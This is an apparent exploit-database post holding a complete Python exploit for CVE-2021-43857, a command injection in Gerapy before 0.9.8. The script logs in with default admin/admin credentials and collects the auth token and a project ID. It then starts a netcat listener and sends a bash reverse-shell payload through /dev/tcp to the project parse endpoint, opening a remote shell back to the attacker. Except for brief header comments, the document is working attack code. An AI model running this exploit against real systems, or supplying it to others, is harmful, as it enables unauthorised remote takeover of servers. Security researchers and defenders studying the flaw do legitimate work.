Gerapy 0.9.7 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) # Date: 03/01/2022 # Exploit Author: Jeremiasz Pluta # Vendor Homepage: https://github.com/Gerapy/Gerapy # Version: All versions of Gerapy prior to 0.9.8 # CVE: CVE-2021-43857 # Tested on: Gerapy 0.9.6 # Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8. #!/usr/bin/python import sys import re import argparse import pyfiglet import requests import time import json import subprocess banner = pyfiglet.figlet_format("CVE-2021-43857") print(banner) print('Exploit for CVE-2021-43857') print('For: Gerapy < 0.9.8') login = "admin" #CHANGE ME IF NEEDED password = "admin" #CHANGE ME IF NEEDED class Exploit: def __init__(self, target_ip, target_port, localhost, localport): self.target_ip = target_ip self.target_port = target_port self.localhost = localhost self.localport = localport def exploitation(self): payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}""" #Login to the app (getting auth token) url = "http://" + target_ip + ":" + target_port r = requests.Session() print("[*] Resolving URL...") r1 = r.get(url) time.sleep(3) print("[*] Logging in to application...") r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True) time.sleep(3) if (r2.status_code == 200): print('[*] Login successful! Proceeding...') else: print('[*] Something went wrong!') quit() #Create a header out of auth token (yep, it's bad as it looks) dict = json.loads(r2.text) temp_token = 'Token ' temp_token2 = json.dumps(dict['token']).strip('"') auth_token = {} auth_token['Authorization'] = temp_token + temp_token2 #Get the project list print("[*] Getting the project list") r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True) time.sleep(3) if (r3.status_code != 200): print("[!] Something went wrong! Maybe the token is corrupted?") quit(); #Parse the project name for a request (yep, it's worse than earlier) dict = r3.text # [{'name': 'test'}] dict2 = json.dumps(dict) dict3 = json.loads(dict2) dict3 = json.loads(dict3) name = dict3[0]['name'] print("[*] Found project: " + name) #use the id to check the project print("[*] Getting the ID of the project to build the URL") r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True) time.sleep(3) if (r4.status_code != 200): print("[*] Something went wrong! I can't reach the found project!") quit(); #format the json to dict dict = r4.text dict2 = json.dumps(dict) dict3 = json.loads(dict2) dict3 = json.loads(dict3) id = dict3['id'] print("[*] Found ID of the project: ", id) time.sleep(1) #netcat listener print("[*] Setting up a netcat listener") listener = subprocess.Popen(["nc", "-nvlp", self.localport]) time.sleep(3) #exec the payload print("[*] Executing reverse shell payload") print("[*] Watchout for shell! :)") r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True) listener.wait() if (r5.status_code == 200): print("[*] It worked!") listener.wait() else: print("[!] Something went wrong!") listener.terminate() def get_args(): parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)') parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP') parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port') parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP') parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port') args = parser.parse_args() return args args = get_args() target_ip = args.url target_port = args.target_port localhost = args.localhost localport = args.localport exp = Exploit(target_ip, target_port, localhost, localport) exp.exploitation() |